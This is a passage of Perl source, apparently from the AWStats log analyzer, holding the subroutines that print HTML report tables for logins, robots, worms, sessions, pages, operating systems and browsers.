( $ShowHostsStats =~ /L/i ) { print "<td> </td>"; } print "</tr>\n"; } &tab_end(); } #------------------------------------------------------------------------------ # Function: Prints the logins chart and table # Parameters: $NewLinkParams, $NewLinkTarget # Input: - # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLMainLogins{ my $NewLinkParams = shift; my $NewLinkTarget = shift; if ($Debug) { debug( "ShowAuthenticatedUsers", 2 ); } print "$Center<a name=\"logins\"> </a><br />\n"; my $title = "$Message[94] ($Message[77] $MaxNbOf{'LoginShown'})   -   <a href=\"" . ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ? XMLEncode("$AWScript${NewLinkParams}output=alllogins") : "$StaticLinks.alllogins.$StaticExt" ) . "\"$NewLinkTarget>$Message[80]</a>"; if ( $ShowAuthenticatedUsers =~ /L/i ) { $title .= "   -   <a href=\"" . ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ? XMLEncode("$AWScript${NewLinkParams}output=lastlogins") : "$StaticLinks.lastlogins.$StaticExt" ) . "\"$NewLinkTarget>$Message[9]</a>"; } &tab_head( "$title", 19, 0, 'logins' ); print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[94] : " . Format_Number(( scalar keys %_login_h )) . "</th>"; &HTMLShowUserInfo('__title__'); if ( $ShowAuthenticatedUsers =~ /P/i ) { print "<th bgcolor=\"#$color_p\" width=\"80\"" . Tooltip(3) . ">$Message[56]</th>"; } if ( $ShowAuthenticatedUsers =~ /H/i ) { print "<th bgcolor=\"#$color_h\" width=\"80\"" . Tooltip(4) . ">$Message[57]</th>"; } if ( $ShowAuthenticatedUsers =~ /B/i ) { print "<th bgcolor=\"#$color_k\" width=\"80\"" . Tooltip(5) . ">$Message[75]</th>"; } if ( $ShowAuthenticatedUsers =~ /L/i ) { print "<th width=\"120\">$Message[9]</th>"; } print "</tr>\n"; my $total_p = my $total_h = my $total_k = 0; my $max_h = 1; foreach ( values %_login_h ) { if ( $_ > $max_h ) { $max_h = $_; } } my $max_k = 1; foreach ( values %_login_k ) { if ( $_ > $max_k ) { $max_k = $_; } } my $count = 0; &BuildKeyList( $MaxNbOf{'LoginShown'}, $MinHit{'Login'}, \%_login_h, \%_login_p ); foreach my $key (@keylist) { my $bredde_p = 0; my $bredde_h = 0; my $bredde_k = 0; if ( $max_h > 0 ) { $bredde_p = int( $BarWidth * $_login_p{$key} / $max_h ) + 1; } # use max_h to enable to compare pages with hits if ( $max_h > 0 ) { $bredde_h = int( $BarWidth * $_login_h{$key} / $max_h ) + 1; } if ( $max_k > 0 ) { $bredde_k = int( $BarWidth * $_login_k{$key} / $max_k ) + 1; } print "<tr><td class=\"aws\">$key</td>"; &HTMLShowUserInfo($key); if ( $ShowAuthenticatedUsers =~ /P/i ) { print "<td>" . ( $_login_p{$key} ? Format_Number($_login_p{$key}) : " " ) . "</td>"; } if ( $ShowAuthenticatedUsers =~ /H/i ) { print "<td>".Format_Number($_login_h{$key})."</td>"; } if ( $ShowAuthenticatedUsers =~ /B/i ) { print "<td>" . Format_Bytes( $_login_k{$key} ) . "</td>"; } if ( $ShowAuthenticatedUsers =~ /L/i ) { print "<td>" . ( $_login_l{$key} ? Format_Date( $_login_l{$key}, 1 ) : '-' ) . "</td>"; } print "</tr>\n"; $total_p += $_login_p{$key}; $total_h += $_login_h{$key}; $total_k += $_login_k{$key}; $count++; } my $rest_p = $TotalPages - $total_p; my $rest_h = $TotalHits - $total_h; my $rest_k = $TotalBytes - $total_k; if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 ) { # All other logins print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">" . ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" ) . "$Message[125]" . ( $PageDir eq 'rtl' ? "</span>" : "" ) . "</span></td>"; &HTMLShowUserInfo(''); if ( $ShowAuthenticatedUsers =~ /P/i ) { print "<td>" . ( $rest_p ? Format_Number($rest_p) : " " ) . "</td>"; } if ( $ShowAuthenticatedUsers =~ /H/i ) { print "<td>".Format_Number($rest_h)."</td>"; } if ( $ShowAuthenticatedUsers =~ /B/i ) { print "<td>" . Format_Bytes($rest_k) . "</td>"; } if ( $ShowAuthenticatedUsers =~ /L/i ) { print "<td> </td>"; } print "</tr>\n"; } &tab_end(); } #------------------------------------------------------------------------------ # Function: Prints the robots chart and table # Parameters: $NewLinkParams, $NewLinkTarget # Input: - # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLMainRobots{ my $NewLinkParams = shift; my $NewLinkTarget = shift; if ($Debug) { debug( "ShowRobotStats", 2 ); } print "$Center<a name=\"robots\"> </a><br />\n"; my $title = "$Message[53] ($Message[77] $MaxNbOf{'RobotShown'})   -   <a href=\"" . ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ? XMLEncode("$AWScript${NewLinkParams}output=allrobots") : "$StaticLinks.allrobots.$StaticExt" ) . "\"$NewLinkTarget>$Message[80]</a>   -   <a href=\"" . ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ? XMLEncode("$AWScript${NewLinkParams}output=lastrobots") : "$StaticLinks.lastrobots.$StaticExt" ) . "\"$NewLinkTarget>$Message[9]</a>"; if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { # extend the title to include the added link $title = "$title   -   <a href=\"" . (XMLEncode( "$AddLinkToExternalCGIWrapper" . "?section=ROBOT&baseName=$DirData/$PROG" . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" . "&siteConfig=$SiteConfig" ) . "\"$NewLinkTarget>$Message[179]</a>"); } &tab_head( "$title", 19, 0, 'robots'); print "<tr bgcolor=\"#$color_TableBGRowTitle\"" . Tooltip(16) . "><th>" . Format_Number(( scalar keys %_robot_h )) . " $Message[51]*</th>"; if ( $ShowRobotsStats =~ /H/i ) { print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; } if ( $ShowRobotsStats =~ /B/i ) { print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; } if ( $ShowRobotsStats =~ /L/i ) { print "<th width=\"120\">$Message[9]</th>"; } print "</tr>\n"; my $total_p = my $total_h = my $total_k = my $total_r = 0; my $count = 0; &BuildKeyList( $MaxNbOf{'RobotShown'}, $MinHit{'Robot'}, \%_robot_h, \%_robot_h ); foreach my $key (@keylist) { print "<tr><td class=\"aws\">" . ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" ) . ( $RobotsHashIDLib{$key} ? $RobotsHashIDLib{$key} : $key ) . ( $PageDir eq 'rtl' ? "</span>" : "" ) . "</td>"; if ( $ShowRobotsStats =~ /H/i ) { print "<td>" . Format_Number(( $_robot_h{$key} - $_robot_r{$key} )) . ( $_robot_r{$key} ? "+$_robot_r{$key}" : "" ) . "</td>"; } if ( $ShowRobotsStats =~ /B/i ) { print "<td>" . Format_Bytes( $_robot_k{$key} ) . "</td>"; } if ( $ShowRobotsStats =~ /L/i ) { print "<td>" . ( $_robot_l{$key} ? Format_Date( $_robot_l{$key}, 1 ) : '-' ) . "</td>"; } print "</tr>\n"; #$total_p += $_robot_p{$key}; $total_h += $_robot_h{$key}; $total_k += $_robot_k{$key} || 0; $total_r += $_robot_r{$key} || 0; $count++; } # For bots we need to count Totals my $TotalPagesRobots = 0; #foreach (values %_robot_p) { $TotalPagesRobots+=$_; } my $TotalHitsRobots = 0; foreach ( values %_robot_h ) { $TotalHitsRobots += $_; } my $TotalBytesRobots = 0; foreach ( values %_robot_k ) { $TotalBytesRobots += $_; } my $TotalRRobots = 0; foreach ( values %_robot_r ) { $TotalRRobots += $_; } my $rest_p = 0; #$rest_p=$TotalPagesRobots-$total_p; my $rest_h = $TotalHitsRobots - $total_h; my $rest_k = $TotalBytesRobots - $total_k; my $rest_r = $TotalRRobots - $total_r; if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 || $rest_r > 0 ) { # All other robots print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; if ( $ShowRobotsStats =~ /H/i ) { print "<td>" . Format_Number(( $rest_h - $rest_r )) . ( $rest_r ? "+$rest_r" : "" ) . "</td>"; } if ( $ShowRobotsStats =~ /B/i ) { print "<td>" . ( Format_Bytes($rest_k) ) . "</td>"; } if ( $ShowRobotsStats =~ /L/i ) { print "<td> </td>"; } print "</tr>\n"; } &tab_end( "* $Message[156]" . ( $TotalRRobots ? " $Message[157]" : "" ) ); } #------------------------------------------------------------------------------ # Function: Prints the worms chart and table # Parameters: - # Input: - # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLMainWorms{ if ($Debug) { debug( "ShowWormsStats", 2 ); } print "$Center<a name=\"worms\"> </a><br />\n"; &tab_head( "$Message[163] ($Message[77] $MaxNbOf{'WormsShown'})", 19, 0, 'worms' ); print "<tr bgcolor=\"#$color_TableBGRowTitle\"" . Tooltip(21) . ">"; print "<th>" . Format_Number(( scalar keys %_worm_h )) . " $Message[164]*</th>"; print "<th>$Message[167]</th>"; if ( $ShowWormsStats =~ /H/i ) { print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; } if ( $ShowWormsStats =~ /B/i ) { print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; } if ( $ShowWormsStats =~ /L/i ) { print "<th width=\"120\">$Message[9]</th>"; } print "</tr>\n"; my $total_p = my $total_h = my $total_k = 0; my $count = 0; &BuildKeyList( $MaxNbOf{'WormsShown'}, $MinHit{'Worm'}, \%_worm_h, \%_worm_h ); foreach my $key (@keylist) { print "<tr>"; print "<td class=\"aws\">" . ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" ) . ( $WormsHashLib{$key} ? $WormsHashLib{$key} : $key ) . ( $PageDir eq 'rtl' ? "</span>" : "" ) . "</td>"; print "<td class=\"aws\">" . ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" ) . ( $WormsHashTarget{$key} ? $WormsHashTarget{$key} : $key ) . ( $PageDir eq 'rtl' ? "</span>" : "" ) . "</td>"; if ( $ShowWormsStats =~ /H/i ) { print "<td>" . Format_Number($_worm_h{$key}) . "</td>"; } if ( $ShowWormsStats =~ /B/i ) { print "<td>" . Format_Bytes( $_worm_k{$key} ) . "</td>"; } if ( $ShowWormsStats =~ /L/i ) { print "<td>" . ( $_worm_l{$key} ? Format_Date( $_worm_l{$key}, 1 ) : '-' ) . "</td>"; } print "</tr>\n"; #$total_p += $_worm_p{$key}; $total_h += $_worm_h{$key}; $total_k += $_worm_k{$key} || 0; $count++; } # For worms we need to count Totals my $TotalPagesWorms = 0; #foreach (values %_worm_p) { $TotalPagesWorms+=$_; } my $TotalHitsWorms = 0; foreach ( values %_worm_h ) { $TotalHitsWorms += $_; } my $TotalBytesWorms = 0; foreach ( values %_worm_k ) { $TotalBytesWorms += $_; } my $rest_p = 0; #$rest_p=$TotalPagesRobots-$total_p; my $rest_h = $TotalHitsWorms - $total_h; my $rest_k = $TotalBytesWorms - $total_k; if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 ) { # All other worms print "<tr>"; print "<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; print "<td class=\"aws\">-</td>"; if ( $ShowWormsStats =~ /H/i ) { print "<td>" . Format_Number(($rest_h)) . "</td>"; } if ( $ShowWormsStats =~ /B/i ) { print "<td>" . ( Format_Bytes($rest_k) ) . "</td>"; } if ( $ShowWormsStats =~ /L/i ) { print "<td> </td>"; } print "</tr>\n"; } &tab_end("* $Message[158]"); } #------------------------------------------------------------------------------ # Function: Prints the sessions chart and table # Parameters: - # Input: - # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLMainSessions{ if ($Debug) { debug( "ShowSessionsStats", 2 ); } print "$Center<a name=\"sessions\"> </a><br />\n"; my $title = "$Message[117]"; &tab_head( $title, 19, 0, 'sessions' ); my $Totals = 0; my $average_s = 0; foreach (@SessionsRange) { $average_s += ( $_session{$_} || 0 ) * $SessionsAverage{$_}; $Totals += $_session{$_} || 0; } if ($Totals) { $average_s = int( $average_s / $Totals ); } else { $average_s = '?'; } print "<tr bgcolor=\"#$color_TableBGRowTitle\"" . Tooltip(1) . "><th>$Message[10]: ".Format_Number($TotalVisits)." - $Message[96]: ".Format_Number($average_s)." s</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[10]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n"; $average_s = 0; my $total_s = 0; my $count = 0; foreach my $key (@SessionsRange) { my $p = 0; if ($TotalVisits) { $p = int( $_session{$key} / $TotalVisits * 1000 ) / 10; } $total_s += $_session{$key} || 0; print "<tr><td class=\"aws\">$key</td>"; print "<td>" . ( $_session{$key} ? Format_Number($_session{$key}) : " " ) . "</td>"; print "<td>" . ( $_session{$key} ? "$p %" : " " ) . "</td>"; print "</tr>\n"; $count++; } my $rest_s = $TotalVisits - $total_s; if ( $rest_s > 0 ) { # All others sessions my $p = 0; if ($TotalVisits) { $p = int( $rest_s / $TotalVisits * 1000 ) / 10; } print "<tr" . Tooltip(20) . "><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td>"; print "<td>".Format_Number($rest_s)."</td>"; print "<td>" . ( $rest_s ? "$p %" : " " ) . "</td>"; print "</tr>\n"; } &tab_end(); } #------------------------------------------------------------------------------ # Function: Prints the pages chart and table # Parameters: $NewLinkParams, $NewLinkTarget # Input: - # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLMainPages{ my $NewLinkParams = shift; my $NewLinkTarget = shift; if ($Debug) { debug( "ShowPagesStats (MaxNbOf{'PageShown'}=$MaxNbOf{'PageShown'} TotalDifferentPages=$TotalDifferentPages)", 2 ); } my $regext = qr/\.(\w{1,6})$/; print "$Center<a name=\"urls\"> </a><a name=\"entry\"> </a><a name=\"exit\"> </a><br />\n"; my $title = "$Message[19] ($Message[77] $MaxNbOf{'PageShown'})   -   <a href=\"" . ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ? XMLEncode("$AWScript${NewLinkParams}output=urldetail") : "$StaticLinks.urldetail.$StaticExt" ) . "\"$NewLinkTarget>$Message[80]</a>"; if ( $ShowPagesStats =~ /E/i ) { $title .= "   -   <a href=\"" . ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ? XMLEncode("$AWScript${NewLinkParams}output=urlentry") : "$StaticLinks.urlentry.$StaticExt" ) . "\"$NewLinkTarget>$Message[104]</a>"; } if ( $ShowPagesStats =~ /X/i ) { $title .= "   -   <a href=\"" . ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ? XMLEncode("$AWScript${NewLinkParams}output=urlexit") : "$StaticLinks.urlexit.$StaticExt" ) . "\"$NewLinkTarget>$Message[116]</a>"; } if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { # extend the title to include the added link $title .= "   -   <a href=\"" . (XMLEncode( "$AddLinkToExternalCGIWrapper" . "?section=SIDER&baseName=$DirData/$PROG" . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" . "&siteConfig=$SiteConfig" ) . "\"$NewLinkTarget>$Message[179]</a>"); } &tab_head( "$title", 19, 0, 'urls' ); print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>".Format_Number($TotalDifferentPages)." $Message[28]</th>"; if ( $ShowPagesStats =~ /P/i && $LogType ne 'F' ) { print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[29]</th>"; } if ( $ShowPagesStats =~ /[PH]/i && $LogType eq 'F' ) { print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; } if ( $ShowPagesStats =~ /B/i ) { print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>"; } if ( $ShowPagesStats =~ /E/i ) { print "<th bgcolor=\"#$color_e\" width=\"80\">$Message[104]</th>"; } if ( $ShowPagesStats =~ /X/i ) { print "<th bgcolor=\"#$color_x\" width=\"80\">$Message[116]</th>"; } # Call to plugins' function ShowPagesAddField foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowPagesAddField'} } ) { # my $function="ShowPagesAddField_$pluginname('title')"; # eval("$function"); my $function = "ShowPagesAddField_$pluginname"; &$function('title'); } print "<th> </th></tr>\n"; my $total_p = my $total_e = my $total_x = my $total_k = 0; my $max_p = 1; my $max_k = 1; my $count = 0; &BuildKeyList( $MaxNbOf{'PageShown'}, $MinHit{'File'}, \%_url_p, \%_url_p ); foreach my $key (@keylist) { if ( $_url_p{$key} > $max_p ) { $max_p = $_url_p{$key}; } if ( $_url_k{$key} / ( $_url_p{$key} || 1 ) > $max_k ) { $max_k = $_url_k{$key} / ( $_url_p{$key} || 1 ); } } foreach my $key (@keylist) { print "<tr><td class=\"aws\">"; &HTMLShowURLInfo($key); print "</td>"; my $bredde_p = 0; my $bredde_e = 0; my $bredde_x = 0; my $bredde_k = 0; if ( $max_p > 0 ) { $bredde_p = int( $BarWidth * ( $_url_p{$key} || 0 ) / $max_p ) + 1; } if ( ( $bredde_p == 1 ) && $_url_p{$key} ) { $bredde_p = 2; } if ( $max_p > 0 ) { $bredde_e = int( $BarWidth * ( $_url_e{$key} || 0 ) / $max_p ) + 1; } if ( ( $bredde_e == 1 ) && $_url_e{$key} ) { $bredde_e = 2; } if ( $max_p > 0 ) { $bredde_x = int( $BarWidth * ( $_url_x{$key} || 0 ) / $max_p ) + 1; } if ( ( $bredde_x == 1 ) && $_url_x{$key} ) { $bredde_x = 2; } if ( $max_k > 0 ) { $bredde_k = int( $BarWidth * ( ( $_url_k{$key} || 0 ) / ( $_url_p{$key} || 1 ) ) / $max_k ) + 1; } if ( ( $bredde_k == 1 ) && $_url_k{$key} ) { $bredde_k = 2; } if ( $ShowPagesStats =~ /P/i && $LogType ne 'F' ) { print "<td>".Format_Number($_url_p{$key})."</td>"; } if ( $ShowPagesStats =~ /[PH]/i && $LogType eq 'F' ) { print "<td>".Format_Number($_url_p{$key})."</td>"; } if ( $ShowPagesStats =~ /B/i ) { print "<td>" . ( $_url_k{$key} ? Format_Bytes( $_url_k{$key} / ( $_url_p{$key} || 1 ) ) : " " ) . "</td>"; } if ( $ShowPagesStats =~ /E/i ) { print "<td>" . ( $_url_e{$key} ? Format_Number($_url_e{$key}) : " " ) . "</td>"; } if ( $ShowPagesStats =~ /X/i ) { print "<td>" . ( $_url_x{$key} ? Format_Number($_url_x{$key}) : " " ) . "</td>"; } # Call to plugins' function ShowPagesAddField foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowPagesAddField'} } ) { # my $function="ShowPagesAddField_$pluginname('$key')"; # eval("$function"); my $function = "ShowPagesAddField_$pluginname"; &$function($key); } print "<td class=\"aws\">"; if ( $ShowPagesStats =~ /P/i && $LogType ne 'F' ) { print "<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"4\"" . AltTitle("") . " /><br />"; } if ( $ShowPagesStats =~ /[PH]/i && $LogType eq 'F' ) { print "<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_p\" height=\"4\"" . AltTitle("") . " /><br />"; } if ( $ShowPagesStats =~ /B/i ) { print "<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"4\"" . AltTitle("") . " /><br />"; } if ( $ShowPagesStats =~ /E/i ) { print "<img src=\"$DirIcons\/other\/$BarPng{'he'}\" width=\"$bredde_e\" height=\"4\"" . AltTitle("") . " /><br />"; } if ( $ShowPagesStats =~ /X/i ) { print "<img src=\"$DirIcons\/other\/$BarPng{'hx'}\" width=\"$bredde_x\" height=\"4\"" . AltTitle("") . " />"; } print "</td></tr>\n"; $total_p += $_url_p{$key} || 0; $total_e += $_url_e{$key} || 0; $total_x += $_url_x{$key} || 0; $total_k += $_url_k{$key} || 0; $count++; } my $rest_p = $TotalPages - $total_p; my $rest_e = $TotalEntries - $total_e; my $rest_x = $TotalExits - $total_x; my $rest_k = $TotalBytesPages - $total_k; if ( $rest_p > 0 || $rest_k > 0 || $rest_e > 0 || $rest_x > 0 ) { # All other urls print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; if ( $ShowPagesStats =~ /P/i && $LogType ne 'F' ) { print "<td>".Format_Number($rest_p)."</td>"; } if ( $ShowPagesStats =~ /[PH]/i && $LogType eq 'F' ) { print "<td>".Format_Number($rest_p)."</td>"; } if ( $ShowPagesStats =~ /B/i ) { print "<td>" . ( $rest_k ? Format_Bytes( $rest_k / ( $rest_p || 1 ) ) : " " ) . "</td>"; } if ( $ShowPagesStats =~ /E/i ) { print "<td>" . ( $rest_e ? Format_Number($rest_e) : " " ) . "</td>"; } if ( $ShowPagesStats =~ /X/i ) { print "<td>" . ( $rest_x ? Format_Number($rest_x) : " " ) . "</td>"; } # Call to plugins' function ShowPagesAddField foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowPagesAddField'} } ) { # my $function="ShowPagesAddField_$pluginname('')"; # eval("$function"); my $function = "ShowPagesAddField_$pluginname"; &$function(''); } print "<td> </td></tr>\n"; } &tab_end(); } #------------------------------------------------------------------------------ # Function: Prints the OS chart and table # Parameters: $NewLinkParams, $NewLinkTarget # Input: - # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLMainOS{ my $NewLinkParams = shift; my $NewLinkTarget = shift; if ($Debug) { debug( "ShowOSStats", 2 ); } print "$Center<a name=\"os\"> </a><br />\n"; my $Totalh = 0; my $Totalp = 0; my %new_os_h = (); my %new_os_p = (); OSLOOP: foreach my $key ( keys %_os_h ) { $Totalh += $_os_h{$key}; $Totalp += $_os_p{$key}; foreach my $family ( keys %OSFamily ) { if ( $key =~ /^$family/i ) { $new_os_h{"${family}cumul"} += $_os_h{$key}; $new_os_p{"${family}cumul"} += $_os_p{$key}; next OSLOOP; } } $new_os_h{$key} += $_os_h{$key}; $new_os_p{$key} += $_os_p{$key}; } my $title = "$Message[59] ($Message[77] $MaxNbOf{'OsShown'})   -   <a href=\"" . ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ? XMLEncode("$AWScript${NewLinkParams}output=osdetail") : "$StaticLinks.osdetail.$StaticExt" ) . "\"$NewLinkTarget>$Message[80]/$Message[58]</a>   -   <a href=\"" . ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ? XMLEncode("$AWScript${NewLinkParams}output=unknownos") : "$StaticLinks.unknownos.$StaticExt" ) . "\"$NewLinkTarget>$Message[0]</a>"; if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { # extend the title to include the added link $title .= "   -   <a href=\"" . (XMLEncode( "$AddLinkToExternalCGIWrapper" . "?section=OS&baseName=$DirData/$PROG" . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" . "&siteConfig=$SiteConfig" ) . "\"$NewLinkTarget>$Message[179]</a>"); } &tab_head( "$title", 19, 0, 'os' ); &BuildKeyList( $MaxNbOf{'OsShown'}, $MinHit{'Os'}, \%new_os_h, \%new_os_p ); # Graph the top five in a pie chart if (scalar @keylist > 1){ foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } ) { my @blocklabel = (); my @valdata = (); my @valcolor = ($color_p); my $cnt = 0; foreach my $key (@keylist) { push @valdata, int( $new_os_h{$key} / $Totalh * 1000 ) / 10; if ($key eq 'Unknown'){push @blocklabel, "$key"; } else{ my $keywithoutcumul = $key; $keywithoutcumul =~ s/cumul$//i; my $libos = $OSHashLib{$keywithoutcumul} || $keywithoutcumul; my $nameicon = $keywithoutcumul; $nameicon =~ s/[^\w]//g; if ( $OSFamily{$keywithoutcumul} ) { $libos = $OSFamily{$keywithoutcumul}; } push @blocklabel, "$libos"; } $cnt++; if ($cnt > 4) { last; } } print "<tr><td colspan=\"5\">"; my $function = "ShowGraph_$pluginname"; &$function( "Top 5 Operating Systems", "oss", 0, \@blocklabel, 0, \@valcolor, 0, 0, 0, \@valdata ); print "</td></tr>"; } } print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\"> </th><th>$Message[59]</th>"; print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>"; print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th></tr>\n"; my $total_h = 0; my $total_p = 0; my $count = 0; foreach my $key (@keylist) { my $p_h = ' '; my $p_p = ' '; if ($Totalh) { $p_h = int( $new_os_h{$key} / $Totalh * 1000 ) / 10; $p_h = "$p_h %"; } if ($Totalp) { $p_p = int( $new_os_p{$key} / $Totalp * 1000 ) / 10; $p_p = "$p_p %"; } if ( $key eq 'Unknown' ) { print "<tr><td" . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) . "><img src=\"$DirIcons\/os\/unknown.png\"" . AltTitle("") . " /></td><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td>" . "<td>".Format_Number($_os_p{$key})."</td><td>$p_p</td><td>".Format_Number($_os_h{$key})."</td><td>$p_h</td></tr>\n"; } else { my $keywithoutcumul = $key; $keywithoutcumul =~ s/cumul$//i; my $libos = $OSHashLib{$keywithoutcumul} || $keywithoutcumul; my $nameicon = $keywithoutcumul; $nameicon =~ s/[^\w]//g; if ( $OSFamily{$keywithoutcumul} ) { $libos = "<b>" . $OSFamily{$keywithoutcumul} . "</b>"; } print "<tr><td" . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) . "><img src=\"$DirIcons\/os\/$nameicon.png\"" . AltTitle("") . " /></td><td class=\"aws\">$libos</td><td>".Format_Number($new_os_p{$key})."</td><td>$p_p</td><td>".Format_Number($new_os_h{$key})."</td><td>$p_h</td></tr>\n"; } $total_h += $new_os_h{$key}; $total_p += $new_os_p{$key}; $count++; } if ($Debug) { debug( "Total real / shown : $Totalh / $total_h", 2 ); } my $rest_h = $Totalh - $total_h; my $rest_p = $Totalp - $total_p; if ( $rest_h > 0 ) { my $p_p; my $p_h; if ($Totalh) { $p_h = int( $rest_h / $Totalh * 1000 ) / 10; } if ($Totalp) { $p_p = int( $rest_p / $Totalp * 1000 ) / 10; } print "<tr>"; print "<td> </td>"; print "<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td><td>".Format_Number($rest_p)."</td>"; print "<td>$p_p %</td><td>".Format_Number($rest_h)."</td><td>$p_h %</td></tr>\n"; } &tab_end(); } #------------------------------------------------------------------------------ # Function: Prints the Browsers chart and table # Parameters: $NewLinkParams, $NewLinkTarget # Input: - # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLMainBrowsers{ my $NewLinkParams = shift; my $NewLinkTarget = shift; if ($Debug) { debug( "ShowBrowsersStats", 2 ); } print "$Center<a name=\"browsers\"> </a><br />\n"; my $Totalh = 0; my $Totalp = 0; my %new_browser_h = (); my %new_browser_p = (); BROWSERLOOP: foreach my $key ( keys %_browser_h ) { $Totalh += $_browser_h{$key}; $Totalp += $_browser_p{$key}; foreach my $family ( keys %BrowsersFamily ) { if ( $key =~ /^$family/i ) { $new_browser_h{"${family}cumul"} += $_browser_h{$key}; $new_browser_p{"${family}cumul"} += $_browser_p{$key}; next BROWSERLOOP; } } $new_browser_h{$key} += $_browser_h{$key}; $new_browser_p{$key} += $_browser_p{$key}; } my $title = "$Message[21] ($Message[77] $MaxNbOf{'BrowsersShown'})   -   <a href=\"" . ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ? XMLEncode("$AWScript${NewLinkParams}output=browserdetail") : "$StaticLinks.browserdetail.$StaticExt" ) . "\"$NewLinkTarget>$Message[80]/$Message[58]</a>   -   <a href=\"" . ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ? XMLEncode("$AWScript${NewLinkParams}output=unknownbrowser") : "$StaticLinks.unknownbrowser.$StaticExt" ) . "\"$NewLinkTarget>$Message[0]</a>"; if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { # extend the title to include the added link $title .= "   -   <a href=\"" . (XMLEncode( "$AddLinkToExternalCGIWrapper" . "?section=BROWSER&baseName=$DirData/$PROG" . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" . "&siteConfig=$SiteConfig" ) . "\"$NewLinkTarget>$Message[179]</a>"); } &tab_head( "$title", 19, 0, 'browsers' ); &BuildKeyList( $MaxNbOf{'BrowsersShown'}, $MinHit{'Browser'}, \%new_browser_h, \%new_browser_p ); # Graph the top five in a pie chart if (scalar @keylist > 1){ foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } ) { my @blocklabel = (); my @valdata = (); my @valcolor = ($color_p); my $cnt = 0; foreach my $key (@keylist) { push @valdata, int( $new_browser_h{$key} / $TotalHits * 1000 ) / 10; if ($key eq 'Unknown'){push @blocklabel, "$key"; } else{ my $keywithoutcumul = $key; $keywithoutcumul =~ s/cumul$//i; my $libbrowser = $BrowsersHashIDLib{$keywithoutcumul} || $keywithoutcumul; my $nameicon = $BrowsersHashIcon{$keywithoutcumul} || "notavailable"; if ( $BrowsersFamily{$keywithoutcumul} ) { $libbrowser = "$libbrowser"; } push @blocklabel, "$libbrowser"; } $cnt++; if ($cnt > 4) { last; } } print "<tr><td colspan=\"5\">"; my $function = "ShowGraph_$pluginname"; &$function( "Top 5 Browsers", "browsers", 0, \@blocklabel, 0, \@valcolor, 0, 0, 0, \@valdata ); print "</td></tr>"; } } print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\"> </th><th>$Message[21]</th><th width=\"80\">$Message[111]</th><th bgcolor=\"#$color_p\" 